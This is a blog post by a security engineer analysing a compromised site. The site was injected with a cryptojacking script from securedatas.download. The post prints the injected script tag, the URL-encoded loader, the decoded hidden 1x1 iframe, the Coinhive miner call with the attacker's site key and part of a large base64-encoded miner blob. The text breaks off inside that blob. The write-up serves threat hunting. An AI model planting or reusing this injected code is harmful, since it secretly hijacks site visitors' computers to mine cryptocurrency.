Hi everyone, this is my first blog post so I thought I’d introduce myself:

My name’s Brett, I’m currently a security engineer for a MSP where a portion of my job (as well as being a member of the SOC) is to look after and make sure the abuse queue is dealt with and ensure that the abuse of our services are kept to a minimum. I’m writing this blog post up because I do see this type of compromise a lot and I thought I would share my experiences in how I’ve seen it occuring in the wild in the hope that it will help Threat hunters and other similar roles in discovering and dealing with such compromises and the kind of simple IOCs and data points to look for!

Let’s start at the beginning

The reason it was brought to my attention was from team over at Google let me know that the domain was compromised - intially not much to go on. However looking at the page easily showed the issue:

</body> <!-- . --><script src="https://www.securedatas.download/jquery-3.2.1.min.js"></script><!-- . --> </html>

Anyone not up to date on their trendy IOCs won’t know that securedatas.download is actually a malicious site, in this case serving up jquery-3.2.1.min.js whatever that is… So let’s take a look.

Digging deeper

By visiting the site we come across the absolute classic:

But ignoring this we can view the source of the page as such in chrome view-source:https://www.securedatas.download/jquery-3.2.1.min.js which shows us this output:

document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%77%77%77%2E%73%65%63%75%72%65%64%61%74%61%73%2E%64%6F%77%6E%6C%6F%61%64%2F%6D%65%6D%62%65%72%73%2E%68%74%6D%6C%22%20%73%74%79%6C%65%3D%22%62%6F%72%64%65%72%3A%30%70%78%20%23%66%66%66%66%66%66%20%6E%6F%6E%65%3B%22%20%6E%61%6D%65%3D%22%66%6F%6F%74%65%72%22%20%73%63%72%6F%6C%6C%69%6E%67%3D%22%6E%6F%22%20%66%72%61%6D%65%62%6F%72%64%65%72%3D%22%30%22%20%6D%61%72%67%69%6E%68%65%69%67%68%74%3D%22%30%70%78%22%20%6D%61%72%67%69%6E%77%69%64%74%68%3D%22%30%70%78%22%20%68%65%69%67%68%74%3D%22%31%70%78%22%20%77%69%64%74%68%3D%22%31%70%78%22%20%61%6C%6C%6F%77%66%75%6C%6C%73%63%72%65%65%6E%3E%3C%2F%69%66%72%61%6D%65%3E'));

Now I know what you’re thinking “But Brett, that’s a script running obfuscated code” and you’d be right…

But anyone familiar with javascript may know the unescape function - used to encode and unencode URL encoding - which is easily read and digested by browsers.

Unencoding this using a tool such as CyberChef or JSBeautifier will give us this lovely output:

< iframe src = "https://www.securedatas.download/members.html" style = "border:0px #ffffff none;" name = "footer" scrolling = "no" frameborder = "0" marginheight = "0px" marginwidth = "0px" height = "1px" width = "1px" allowfullscreen > < /iframe>

Finally showing us that this is infact an iframe! Shock, horror, gasps in the distance

As you can see it is not only a 1x1 pixel size, it’s also hiding itself in the footer - a practice also quite typical of the practice of Web beacons - however I can confirm that this is malicious, just wait and see ;)

But what’s down the rabbit hole?

Now the eagle eyed/brainy people among you may have noticed that as an iframe it must be loading something into that frame from a seperate place - in this case continuing on the tradition of using https://www.securedatas.download we’re lead to /members.html :

<html> <head></head> <body> <script src="https://www.securedatas.download/m.js?proxy=wss://www.securedatas.download:8894"></script> <script> var miner = CH.Anonymous('489djE22mdZ3j34vhES98tCzfVn57Wq4fA8JR6uzgHqYCfYE2nmaZxmjepwr3GQAZd3qc3imFyGPHBy4PBWLb4tc1X8ADsu',{throttle: 0.4}); miner.start(); </script> </body> </html>

And there it is, the core coinhive script with the miner variable, the source of the actual miner code, and the UUID string from the malicious actor.

But let’s not stop there.

Mud, anger, and hatred is what’s down here

Let’s have a look at the source of the page loaded by https://www.securedatas.download/m.js?proxy=wss://www.securedatas.download:8894 :

new Function(atob("dmFyIF8weDg5ZDkgPSBbCiAgImdldEFjY2VwdGVkSGFzaGVzIiwKICAiZ2V0VG9rZW4iLAogICJfZXZlbnRMaXN0ZW5lcnMiLAogICJwdXNoIiwKICAiZ2V0QXV0b1RocmVhZHNFbmFibGVkIiwKICAiZW5hYmxlZCIsCiAgInNldEF1dG9UaHJlYWRzRW5hYmxlZCIsCiAgImFkanVzdEF0IiwKICAiYWRqdXN0RXZlcnkiLAogICJfYWRqdXN0VGhyZWFkcyIsCiAgImdldFRocm90dGxlIiwKICAic2V0VGhyb3R0bGUiLAogICJzZXROdW1UaHJlYWRzIiwKICAiSm9iVGhyZWFkIiwKICAic2V0Sm9iIiwKICAicG9wIiwKICAiV2ViQXNzZW1ibHkiLAogICJpc1J1bm5pbmciLAogICJGT1JDRV9NVUxUSV9UQUIiLAogICJfdXBkYXRlVGFicyIsCiAgInZlcmlmeVRocmVhZCIsCiAgIl9hdXRoIiwKICAiQXV0aCIsCiAgInRoZW1lIiwKICAiYXV0aCIsCiAgIm9wdGluIiwKICAiX2VtaXQiLAogICJlcnJvciIsCiAgIl9jb25uZWN0IiwKICAiX290aGVyVGFiUnVubmluZyIsCiAgImdldEl0ZW0iLAogICJwYXJzZSIsCiAgImlkZW50IiwKICAiZ3JhY2UiLAogICJzZXRJdGVtIiwKICAic3RyaW5naWZ5IiwKICAiZ2V0TnVtVGhyZWFkcyIsCiAgInN0YXRzIiwKICAiX2hhc2hTdHJpbmciLAogICJjaGFyQ29kZUF0IiwKICAiX29uTWVzc2FnZSIsCiAgIm9uZXJyb3IiLAogICJfb25FcnJvciIsCiAgIm9uY2xvc2UiLAogICJfb25DbG9zZSIsCiAgIm9ub3BlbiIsCiAgIl9vbk9wZW4iLAogICJ0eXBlIiwKICAidXNlciIsCiAgInRvU3RyaW5nIiwKICAiZ29hbCIsCiAgIm9wdF9pbiIsCiAgIl9zZW5kIiwKICAiY29ubmVjdGlvbl9lcnJvciIsCiAgImNvZGUiLAogICJjbG9zZSIsCiAgImRhdGEiLAogICJqb2IiLAogICJfc2V0Sm9iIiwKICAidmVyaWZ5IiwKICAiaGFzaF9hY2NlcHRlZCIsCiAgImhhc2hlcyIsCiAgImFjY2VwdGVkIiwKICAiYXV0aGVkIiwKICAidG9rZW4iLAogICJDSFx4MjBFcnJvcjoiLAogICJpbnZhbGlkX3NpdGVfa2V5IiwKICAiaW52YWxpZF9vcHRfaW4iLAogICJfc3RvcE9uSW52YWxpZE9wdEluIiwKICAicmVzZXQiLAogICJiYW5uZWQiLAogICJmb3VuZCIsCiAgImpvYl9pZCIsCiAgInN1Ym1pdCIsCiAgIm5vbmNlIiwKICAicmVzdWx0IiwKICAiX29uVmVyaWZpZWQiLAogICJ2ZXJpZmllZCIsCiAgImlmRXhjbHVzaXZlVGFiIiwKICAiRk9SQ0VfRVhDTFVTSVZFX1RBQiIsCiAgImZvcmNlRXhjbHVzaXZlVGFiIiwKICAiZm9yY2VNdWx0aVRhYiIsCiAgIkFub255bW91cyIsCiAgIndvcmtlciIsCiAgIm9uUmVhZHkiLAogICJjdXJyZW50Sm9iIiwKICAiam9iQ2FsbGJhY2siLAogICJ2ZXJpZnlDYWxsYmFjayIsCiAgIl9pc1JlYWR5IiwKICAicmVhZHkiLAogICJFeHBlY3RpbmdceDIwZmlyc3RceDIwbWVzc2FnZVx4MjB0b1x4MjBiZVx4MjBceDIycmVhZHlceDIyLFx4MjBnb3RceDIwIiwKICAib25SZWNlaXZlTXNnIiwKICAidmVyaWZ5X2lkIiwKICAicnVubmluZyIsCiAgInBvc3RNZXNzYWdlIiwKICAidmFyXHgyME1vZHVsZT17bG9jYXRlRmlsZTooZnVuY3Rpb24ocGF0aCl7cmV0dXJuXHgyMFx4MjIiLAogICJceDIyK3BhdGh9KX07dmFyXHgyME1vZHVsZTtpZighTW9kdWxlKU1vZHVsZT0odHlwZW9mXHgyME1vZHVsZSE9PVx4MjJ1bmRlZmluZWRceDIyP01vZHVsZTpudWxsKXx8e307dmFyXHgyMG1vZHVsZU92ZXJyaWRlcz17fTtmb3IodmFyXHgyMGtleVx4MjBpblx4MjBNb2R1bGUpe2lmKE1vZHVsZS5oYXNPd25Qcm9wZXJ0eShrZXkpKXttb2R1bGVPdmVycmlkZXNba2V5XT1Nb2R1bGVba2V5XX19dmFyXHgyMEVOVklST05NRU5UX0lTX1dFQj1mYWxzZTt2YXJceDIwRU5WSVJPTk1FTlRfSVNfV09SS0VSPWZhbHNlO3Zhclx4MjBFTlZJUk9OTUVOVF9JU19OT0RFPWZhbHNlO3Zhclx4MjBFTlZJUk9OTUVOVF9JU19TSEVMTD1mYWxzZTtpZihNb2R1bGVbXHgyMkVOVklST05NRU5UXHgyMl0pe2lmKE1vZHVsZVtceDIyRU5WSVJPTk1FTlRceDIyXT09PVx4MjJXRUJceDIyKXtFTlZJUk9OTUVOVF9JU19XRUI9dHJ1ZX1lbHNlXHgyMGlmKE1vZHVsZVtceDIyRU5WSVJPTk1FTlRceDIyXT09PVx4MjJXT1JLRVJceDIyKXtFTlZJUk9OTUVOVF9JU19XT1JLRVI9dHJ1ZX1lbHNlXHgyMGlmKE1vZHVsZVtceDIyRU5WSVJPTk1FTlRceDIyXT09PVx4MjJOT0RFXHgyMil7RU5WSVJPTk1FTlRfSVNfTk9ERT10cnVlfWVsc2VceDIwaWYoTW9kdWxlW1x4MjJFTlZJUk9OTUVOVFx4MjJdPT09XHgyMlNIRUxMXHgyMil7RU5WSVJPTk1FTlRfSVNfU0hFTEw9dHJ1ZX1lbHNle3Rocm93XHgyMG5ld1x4MjBFcnJvcihceDIyVGhlXHgyMHByb3ZpZGVkXHgyME1vZHVsZVtceDI3RU5WSVJPTk1FTlRceDI3XVx4MjB2YWx1ZVx4MjBpc1x4MjBub3RceDIwdmFsaWQuXHgyMEl0XHgyMG11c3RceDIwYmVceDIwb25lXHgyMG9mOlx4MjBXRUJ8V09SS0VSfE5PREV8U0hFTEwuXHgyMil9fWVsc2V7RU5WSVJPTk1FTlRfSVNfV0VCPXR5cGVvZlx4MjB3aW5kb3c9PT1ceDIyb2JqZWN0XHgyMjtFTlZJUk9OTUVOVF9JU19XT1JLRVI9dHlwZW9mXHgyMGltcG9ydFNjcmlwdHM9PT1ceDIyZnVuY3Rpb25ceDIyO0VOVklST05NRU5UX0lTX05PREU9dHlwZW9mXHgyMHByb2Nlc3M9PT1ceDIyb2JqZWN0XHgyMiYmdHlwZW9mXHgyMHJlcXVpcmU9PT1ceDIyZnVuY3Rpb25ceDIyJiYhRU5WSVJPTk1FTlRfSVNfV0VCJiYhRU5WSVJPTk1FTlRfSVNfV09SS0VSO0VOVklST05NRU5UX0lTX1NIRUxMPSFFTlZJUk9OTUVOVF9JU19XRUImJiFFTlZJUk9OTUVOVF9JU19OT0RFJiYhRU5WSVJPTk1FTlRfSVNfV09SS0VSfWlmKEVOVklST05NRU5UX0lTX05PREUpe2lmKCFNb2R1bGVbXHgyMnByaW50XHgyMl0pTW9kdWxlW1x4MjJwcmludFx4MjJdPWNvbnNvbGUubG9nO2lmKCFNb2R1bGVbXHgyMnByaW50RXJyXHgyMl0pTW9kdWxlW1x4MjJwcmludEVyclx4MjJdPWNvbnNvbGUud2Fybjt2YXJceDIwbm9kZUZTO3Zhclx4MjBub2RlUGF0aDtNb2R1bGVbXHgyMnJlYWRceDIyXT1mdW5jdGlvblx4MjBzaGVsbF9yZWFkKGZpbGVuYW1lLGJpbmFyeSl7aWYoIW5vZGVGUylub2RlRlM9cmVxdWlyZShceDIyZnNceDIyKTtpZighbm9kZVBhdGgpbm9kZVBhdGg9cmVxdWlyZShceDIycGF0aFx4MjIpO2ZpbGVuYW1lPW5vZGVQYXRoW1x4MjJub3JtYWxpemVceDIyXShmaWxlbmFtZSk7dmFyXHgyMHJldD1ub2RlRlNbXHgyMnJlYWRGaWxlU3luY1x4MjJdKGZpbGVuYW1lKTtyZXR1cm5ceDIwYmluYXJ5P3JldDpyZXQudG9TdHJpbmcoKX07TW9kdWxlW1x4MjJyZWFkQmluYXJ5XHgyMl09ZnVuY3Rpb25ceDIwcmVhZEJpbmFyeShmaWxlbmFtZSl7dmFyXHgyMHJldD1Nb2R1bGVbXHgyMnJlYWRceDIyXShmaWxlbmFtZSx0cnVlKTtpZighcmV0LmJ1ZmZlcil7cmV0PW5ld1x4MjBVaW50OEFycmF5KHJldCl9YXNzZXJ0KHJldC5idWZmZXIpO3JldHVyblx4MjByZXR9O01vZHVsZVtceDIybG9hZFx4MjJdPWZ1bmN0aW9uXHgyMGxvYWQoZil7Z2xvYmFsRXZhbChyZWFkKGYpKX07aWYoIU1vZHVsZVtceDIydGhpc1Byb2dyYW1ceDIyXSl7aWYocHJvY2Vzc1tceDIyYXJndlx4MjJdLmxlbmd0aD4xKXtNb2R1bGVbXHgyMnRoaXNQcm9ncmFtXHgyMl09cHJvY2Vzc1tceDIyYXJndlx4MjJdWzFdLnJlcGxhY2UoL1x4NWNceDVjL2csXHgyMi9ceDIyKX1lbHNle01vZHVsZVtceDIydGhpc1Byb2dyYW1ceDIyXT1ceDIydW5rbm93bi1wcm9ncmFtXHgyMn19TW9kdWxlW1x4MjJhcmd1bWVudHNceDIyXT1wcm9jZXNzW1x4MjJhcmd2XHgyMl0uc2xpY2UoMik7aWYodHlwZW9mXHgyMG1vZHVsZSE9PVx4MjJ1bmRlZmluZWRceDIyKXttb2R1bGVbXHgyMmV4cG9ydHNceDIyXT1Nb2R1bGV9cHJvY2Vzc1tceDIyb25ceDIyXShceDIydW5jYXVnaHRFeGNlcHRpb25ceDIyLChmdW5jdGlvbihleCl7aWYoIShleFx4MjBpbnN0YW5jZW9mXHgyMEV4aXRTdGF0dXMpKXt0aHJvd1x4MjBleH19KSk7TW9kdWxlW1x4MjJpbnNwZWN0XHgyMl09KGZ1bmN0aW9uKCl7cmV0dXJuXHgyMltFbXNjcmlwdGVuXHgyME1vZHVsZVx4MjBvYmplY3RdXHgyMn0pfWVsc2VceDIwaWYoRU5WSVJPTk1FTlRfSVNfU0hFTEwpe2lmKCFNb2R1bGVbXHgyMnByaW50XHgyMl0pTW9kdWxlW1x4MjJwcmludFx4MjJdPXByaW50O2lmKHR5cGVvZlx4MjBwcmludEVyciE9XHgyMnVuZGVmaW5lZFx4MjIpTW9kdWxlW1x4MjJwcmludEVyclx4MjJdPXByaW50RXJyO2lmKHR5cGVvZlx4MjByZWFkIT1ceDIydW5kZWZpbmVkXHgyMil7TW9kdWxlW1x4MjJyZWFkXHgyMl09cmVhZH1lbHNle01vZHVsZVtceDIycmVhZFx4MjJdPWZ1bmN0aW9uXHgyMHNoZWxsX3JlYWQoKXt0aHJvd1x4MjJub1x4MjByZWFkKClceDIwYXZhaWxhYmxlXHgyMn19TW9kdWxlW1x4MjJyZWFkQmluYXJ5XHgyMl09ZnVuY3Rpb25ceDIwcmVhZEJpbmFyeShmKXtpZih0eXBlb2ZceDIwcmVhZGJ1ZmZlcj09PVx4MjJmdW5jdGlvblx4MjIpe3JldHVyblx4MjBuZXdceDIwVWludDhBcnJheShyZWFkYnVmZmVyKGYpKX12YXJceDIwZGF0YT1yZWFkKGYsXHgyMmJpbmFyeVx4MjIpO2Fzc2VydCh0eXBlb2ZceDIwZGF0YT09PVx4MjJvYmplY3RceDIyKTtyZXR1cm5ceDIwZGF0YX07aWYodHlwZW9mXHgyMHNjcmlwdEFyZ3MhPVx4MjJ1bmRlZmluZWRceDIyKXtNb2R1bGVbXHgyMmFyZ3VtZW50c1x4MjJdPXNjcmlwdEFyZ3N9ZWxzZVx4MjBpZih0eXBlb2ZceDIwYXJndW1lbnRzIT1ceDIydW5kZWZpbmVkXHgyMil7TW9kdWxlW1x4MjJhcmd1bWVudHNceDIyXT1hcmd1bWVudHN9aWYodHlwZW9mXHgyMHF1aXQ9PT1ceDIyZnVuY3Rpb25ceDIyKXtNb2R1bGVbXHgyMnF1aXRceDIyXT0oZnVuY3Rpb24oc3RhdHVzLHRvVGhyb3cpe3F1aXQoc3RhdHVzKX0pfX1lbHNlXHgyMGlmKEVOVklST05NRU5UX0lTX1dFQnx8RU5WSVJPTk1FTlRfSVNfV09SS0VSKXtNb2R1bGVbXHgyMnJlYWRceDIyXT1mdW5jdGlvblx4MjBzaGVsbF9yZWFkKHVybCl7dmFyXHgyMHhocj1uZXdceDIwWE1MSHR0cFJlcXVlc3Q7eGhyLm9wZW4oXHgyMkdFVFx4MjIsdXJsLGZhbHNlKTt4aHIuc2VuZChudWxsKTtyZXR1cm5ceDIweGhyLnJlc3BvbnNlVGV4dH07aWYoRU5WSVJPTk1FTlRfSVNfV09SS0VSKXtNb2R1bGVbXHgyMnJlYWRCaW5hcnlceDIyXT1mdW5jdGlvblx4MjByZWFkQmluYXJ5KHVybCl7dmFyXHgyMHhocj1uZXdceDIwWE1MSHR0cFJlcXVlc3Q7eGhyLm9wZW4oXHgyMkdFVFx4MjIsdXJsLGZhbHNlKTt4aHIucmVzcG9uc2VUeXBlPVx4MjJhcnJheWJ1ZmZlclx4MjI7eGhyLnNlbmQobnVsbCk7cmV0dXJuXHgyMG5ld1x4MjBVaW50OEFycmF5KHhoci5yZXNwb25zZSl9fU1vZHVsZVtceDIycmVhZEFzeW5jXHgyMl09ZnVuY3Rpb25ceDIwcmVhZEFzeW5jKHVybCxvbmxvYWQsb25lcnJvcil7dmFyXHgyMHhocj1uZXdceDIwWE1MSHR0cFJlcXVlc3Q7eGhyLm9wZW4oXHgyMkdFVFx4MjIsdXJsLHRydWUpO3hoci5yZXNwb25zZVR5cGU9XHgyMmFycmF5YnVmZmVyXHgyMjt4aHIub25sb2FkPWZ1bmN0aW9uXHgyMHhocl9vbmxvYWQoKXtpZih4aHIuc3RhdHVzPT0yMDB8fHhoci5zdGF0dXM9PTAmJnhoci5yZXNwb25zZSl7b25sb2FkKHhoci5yZXNwb25zZSl9ZWxzZXtvbmVycm9yKCl9fTt4aHIub25lcnJvcj1vbmVycm9yO3hoci5zZW5kKG51bGwpfTtpZih0eXBlb2ZceDIwYXJndW1lbnRzIT1ceDIydW5kZWZpbmVkXHgyMil7TW9kdWxlW1x4MjJhcmd1bWVudHNceDIyXT1hcmd1bWVudHN9aWYodHlwZW9mXHgyMGNvbnNvbGUhPT1ceDIydW5kZWZpbmVkXHgyMil7aWYoIU1vZHVsZVtceDIycHJpbnRceDIyXSlNb2R1bGVbXHgyMnByaW50XHgyMl09ZnVuY3Rpb25ceDIwc2hlbGxfcHJpbnQoeCl7Y29uc29sZS5sb2coeCl9O2lmKCFNb2R1bGVbXHgyMnByaW50RXJyXHgyMl0pTW9kdWxlW1x4MjJwcmludEVyclx4MjJdPWZ1bmN0aW9uXHgyMHNoZWxsX3ByaW50RXJyKHgpe2NvbnNvbGUud2Fybih4KX19ZWxzZXt2YXJceDIwVFJZX1VTRV9EVU1QPWZhbHNlO2lmKCFNb2R1bGVbXHgyMnByaW50XHgyMl0pTW9kdWxlW1x4MjJwcmludFx4MjJdPVRSWV9VU0VfRFVNUCYmdHlwZW9mXHgyMGR1bXAhPT1ceDIydW5kZWZpbmVkXHgyMj8oZnVuY3Rpb24oeCl7ZHVtcCh4KX0pOihmdW5jdGlvbih4KXt9KX1pZihFTlZJUk9OTUVOVF9JU19XT1JLRVIpe01vZHVsZVtceDIybG9hZFx4MjJdPWltcG9ydFNjcmlwdHN9aWYodHlwZW9mXHgyME1vZHVsZVtceDIyc2V0V2luZG93VGl0bGVceDIyXT09PVx4MjJ1bmRlZmluZWRceDIyKXtNb2R1bGVbXHgyMnNldFdpbmRvd1RpdGxlXHgyMl09KGZ1bmN0aW9uKHRpdGxlKXtkb2N1bWVudC50aXRsZT10aXRsZX0pfX1lbHNle3Rocm93XHgyMlVua25vd25ceDIwcnVudGltZVx4MjBlbnZpcm9ubWVudC5ceDIwV2hlcmVceDIwYXJlXHgyMHdlP1x4MjJ9ZnVuY3Rpb25ceDIwZ2xvYmFsRXZhbCh4KXtldmFsLmNhbGwobnVsbCx4KX1pZighTW9kdWxlW1x4MjJsb2FkXHgyMl0mJk1vZHVsZVtceDIycmVhZFx4MjJdKXtNb2R1bGVbXHgyMmxvYWRceDIyXT1mdW5jdGlvblx4MjBsb2FkKGYpe2dsb2JhbEV2YWwoTW9kdWxlW1x4MjJyZWFkXHgyMl0oZikpfX1pZighTW9kdWxlW1x4MjJwcmludFx4MjJdKXtNb2R1bGVbXHgyMnByaW50XHgyMl09KGZ1bmN0aW9uKCl7fSl9aWYoIU1vZHVsZVtceDIycHJpbnRFcnJceDIyXSl7TW9kdWxlW1x4MjJwcmludEVyclx4MjJdPU1vZHVsZVtceDIycHJpbnRceDIyXX1pZighTW9kdWxlW1x4MjJhcmd1bWVudHNceDIyXSl7TW9kdWxlW1x4MjJhcmd1bWVudHNceDIyXT1bXX1pZighTW9kdWxlW1x4MjJ0aGlzUHJvZ3JhbVx4MjJdKXtNb2R1bGVbXHgyMnRoaXNQcm9ncmFtXHgyMl09XHgyMi4vdGhpcy5wcm9ncmFtXHgyMn1pZighTW9kdWxlW1x4MjJxdWl0XHgyMl0pe01vZHVsZVtceDIycXVpdFx4MjJdPShmdW5jdGlvbihzdGF0dXMsdG9UaHJvdyl7dGhyb3dceDIwdG9UaHJvd30pfU1vZHVsZS5wcmludD1Nb2R1bGVbXHgyMnByaW50XHgyMl07TW9kdWxlLnByaW50RXJyPU1vZHVsZVtceDIycHJpbnRFcnJceDIyXTtNb2R1bGVbXHgyMnByZVJ1blx4MjJdPVtdO01vZHVsZVtceDIycG9zdFJ1blx4MjJdPVtdO2Zvcih2YXJceDIwa2V5XHgyMGluXHgyMG1vZHVsZU92ZXJyaWRlcyl7aWYobW9kdWxlT3ZlcnJpZGVzLmhhc093blByb3BlcnR5KGtleSkpe01vZHVsZVtrZXldPW1vZHVsZU92ZXJyaWRlc1trZXldfX1tb2R1bGVPdmVycmlkZXM9dW5kZWZpbmVkO3Zhclx4MjBSdW50aW1lPXtzZXRUZW1wUmV0MDooZnVuY3Rpb24odmFsdWUpe3RlbXBSZXQwPXZhbHVlO3JldHVyblx4MjB2YWx1ZX0pLGdldFRlbXBSZXQwOihmdW5jdGlvbigpe3JldHVyblx4MjB0ZW1wUmV0MH0pLHN0YWNrU2F2ZTooZnVuY3Rpb24oKXtyZXR1cm5ceDIwU1RBQ0tUT1B9KSxzdGFja1Jlc3RvcmU6KGZ1bmN0aW9uKHN0YWNrVG9wKXtTVEFDS1RPUD1zdGFja1RvcH0pLGdldE5hdGl2ZVR5cGVTaXplOihmdW5jdGlvbih0eXBlKXtzd2l0Y2godHlwZSl7Y2FzZVx4MjJpMVx4MjI6Y2FzZVx4MjJpOFx4MjI6cmV0dXJuXHgyMDE7Y2FzZVx4MjJpMTZceDIyOnJldHVyblx4MjAyO2Nhc2VceDIyaTMyXHgyMjpyZXR1cm5ceDIwNDtjYXNlXHgyMmk2NFx4MjI6cmV0dXJuXHgyMDg7Y2FzZVx4MjJmbG9hdFx4MjI6cmV0dXJuXHgyMDQ7Y2FzZVx4MjJkb3VibGVceDIyOnJldHVyblx4MjA4O2RlZmF1bHQ6e2lmKHR5cGVbdHlwZS5sZW5ndGgtMV09PT1ceDIyKlx4MjIpe3JldHVyblx4MjBSdW50aW1lLlFVQU5UVU1fU0laRX1lbHNlXHgyMGlmKHR5cGVbMF09PT1ceDIyaVx4MjIpe3Zhclx4MjBiaXRzPXBhcnNlSW50KHR5cGUuc3Vic3RyKDEpKTthc3NlcnQoYml0cyU4PT09MCk7cmV0dXJuXHgyMGJpdHMvOH1lbHNle3JldHVyblx4MjAwfX19fSksZ2V0TmF0aXZlRmllbGRTaXplOihmdW5jdGlvbih0eXBlKXtyZXR1cm5ceDIwTWF0aC5tYXgoUnVudGltZS5nZXROYXRpdmVUeXBlU2l6ZSh0eXBlKSxSdW50aW1lLlFVQU5UVU1fU0laRSl9KSxTVEFDS19BTElHTjoxNixwcmVwVmFyYXJnOihmdW5jdGlvbihwdHIsdHlwZSl7aWYodHlwZT09PVx4MjJkb3VibGVceDIyfHx0eXBlPT09XHgyMmk2NFx4MjIpe2lmKHB0ciY3KXthc3NlcnQoKHB0ciY3KT09PTQpO3B0cis9NH19ZWxzZXthc3NlcnQoKHB0ciYzKT09PTApfXJldHVyblx4MjBwdHJ9KSxnZXRBbGlnblNpemU6KGZ1bmN0aW9uKHR5cGUsc2l6ZSx2YXJhcmcpe2lmKCF2YXJhcmcmJih0eXBlPT1ceDIyaTY0XHgyMnx8dHlwZT09XHgyMmRvdWJsZVx4MjIpKXJldHVyblx4MjA4O2lmKCF0eXBlKXJldHVyblx4MjBNYXRoLm1pbihzaXplLDgpO3JldHVyblx4MjBNYXRoLm1pbihzaXplfHwodHlwZT9SdW50aW1lLmdldE5hdGl2ZUZpZWxkU2l6ZSh0eXBlKTowKSxSdW50aW1lLlFVQU5UVU1fU0laRSl9KSxkeW5DYWxsOihmdW5jdGlvbihzaWcscHRyLGFyZ3Mpe2lmKGFyZ3MmJmFyZ3MubGVuZ3RoKXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJkeW5DYWxsX1x4MjIrc2lnXS5hcHBseShudWxsLFtwdHJdLmNvbmNhdChhcmdzKSl9ZWxzZXtyZXR1cm5ceDIwTW9kdWxlW1x4MjJkeW5DYWxsX1x4MjIrc2lnXS5jYWxsKG51bGwscHRyKX19KSxmdW5jdGlvblBvaW50ZXJzOltdLGFkZEZ1bmN0aW9uOihmdW5jdGlvbihmdW5jKXtmb3IodmFyXHgyMGk9MDtpPFJ1bnRpbWUuZnVuY3Rpb25Qb2ludGVycy5sZW5ndGg7aSsrKXtpZighUnVudGltZS5mdW5jdGlvblBvaW50ZXJzW2ldKXtSdW50aW1lLmZ1bmN0aW9uUG9pbnRlcnNbaV09ZnVuYztyZXR1cm5ceDIwMiooMStpKX19dGhyb3dceDIyRmluaXNoZWRceDIwdXBceDIwYWxsXHgyMHJlc2VydmVkXHgyMGZ1bmN0aW9uXHgyMHBvaW50ZXJzLlx4MjBVc2VceDIwYVx4MjBoaWdoZXJceDIwdmFsdWVceDIwZm9yXHgyMFJFU0VSVkVEX0ZVTkNUSU9OX1BPSU5URVJTLlx4MjJ9KSxyZW1vdmVGdW5jdGlvbjooZnVuY3Rpb24oaW5kZXgpe1J1bnRpbWUuZnVuY3Rpb25Qb2ludGVyc1soaW5kZXgtMikvMl09bnVsbH0pLHdhcm5PbmNlOihmdW5jdGlvbih0ZXh0KXtpZighUnVudGltZS53YXJuT25jZS5zaG93bilSdW50aW1lLndhcm5PbmNlLnNob3duPXt9O2lmKCFSdW50aW1lLndhcm5PbmNlLnNob3duW3RleHRdKXtSdW50aW1lLndhcm5PbmNlLnNob3duW3RleHRdPTE7TW9kdWxlLnByaW50RXJyKHRleHQpfX0pLGZ1bmNXcmFwcGVyczp7fSxnZXRGdW5jV3JhcHBlcjooZnVuY3Rpb24oZnVuYyxzaWcpe2Fzc2VydChzaWcpO2lmKCFSdW50aW1lLmZ1bmNXcmFwcGVyc1tzaWddKXtSdW50aW1lLmZ1bmNXcmFwcGVyc1tzaWddPXt9fXZhclx4MjBzaWdDYWNoZT1SdW50aW1lLmZ1bmNXcmFwcGVyc1tzaWddO2lmKCFzaWdDYWNoZVtmdW5jXSl7aWYoc2lnLmxlbmd0aD09PTEpe3NpZ0NhY2hlW2Z1bmNdPWZ1bmN0aW9uXHgyMGR5bkNhbGxfd3JhcHBlcigpe3JldHVyblx4MjBSdW50aW1lLmR5bkNhbGwoc2lnLGZ1bmMpfX1lbHNlXHgyMGlmKHNpZy5sZW5ndGg9PT0yKXtzaWdDYWNoZVtmdW5jXT1mdW5jdGlvblx4MjBkeW5DYWxsX3dyYXBwZXIoYXJnKXtyZXR1cm5ceDIwUnVudGltZS5keW5DYWxsKHNpZyxmdW5jLFthcmddKX19ZWxzZXtzaWdDYWNoZVtmdW5jXT1mdW5jdGlvblx4MjBkeW5DYWxsX3dyYXBwZXIoKXtyZXR1cm5ceDIwUnVudGltZS5keW5DYWxsKHNpZyxmdW5jLEFycmF5LnByb3RvdHlwZS5zbGljZS5jYWxsKGFyZ3VtZW50cykpfX19cmV0dXJuXHgyMHNpZ0NhY2hlW2Z1bmNdfSksZ2V0Q29tcGlsZXJTZXR0aW5nOihmdW5jdGlvbihuYW1lKXt0aHJvd1x4MjJZb3VceDIwbXVzdFx4MjBidWlsZFx4MjB3aXRoXHgyMC1zXHgyMFJFVEFJTl9DT01QSUxFUl9TRVRUSU5HUz0xXHgyMGZvclx4MjBSdW50aW1lLmdldENvbXBpbGVyU2V0dGluZ1x4MjBvclx4MjBlbXNjcmlwdGVuX2dldF9jb21waWxlcl9zZXR0aW5nXHgyMHRvXHgyMHdvcmtceDIyfSksc3RhY2tBbGxvYzooZnVuY3Rpb24oc2l6ZSl7dmFyXHgyMHJldD1TVEFDS1RPUDtTVEFDS1RPUD1TVEFDS1RPUCtzaXplfDA7U1RBQ0tUT1A9U1RBQ0tUT1ArMTUmLTE2O3JldHVyblx4MjByZXR9KSxzdGF0aWNBbGxvYzooZnVuY3Rpb24oc2l6ZSl7dmFyXHgyMHJldD1TVEFUSUNUT1A7U1RBVElDVE9QPVNUQVRJQ1RPUCtzaXplfDA7U1RBVElDVE9QPVNUQVRJQ1RPUCsxNSYtMTY7cmV0dXJuXHgyMHJldH0pLGR5bmFtaWNBbGxvYzooZnVuY3Rpb24oc2l6ZSl7dmFyXHgyMHJldD1IRUFQMzJbRFlOQU1JQ1RPUF9QVFI+PjJdO3Zhclx4MjBlbmQ9KHJldCtzaXplKzE1fDApJi0xNjtIRUFQMzJbRFlOQU1JQ1RPUF9QVFI+PjJdPWVuZDtpZihlbmQ+PVRPVEFMX01FTU9SWSl7dmFyXHgyMHN1Y2Nlc3M9ZW5sYXJnZU1lbW9yeSgpO2lmKCFzdWNjZXNzKXtIRUFQMzJbRFlOQU1JQ1RPUF9QVFI+PjJdPXJldDtyZXR1cm5ceDIwMH19cmV0dXJuXHgyMHJldH0pLGFsaWduTWVtb3J5OihmdW5jdGlvbihzaXplLHF1YW50dW0pe3Zhclx4MjByZXQ9c2l6ZT1NYXRoLmNlaWwoc2l6ZS8ocXVhbnR1bT9xdWFudHVtOjE2KSkqKHF1YW50dW0/cXVhbnR1bToxN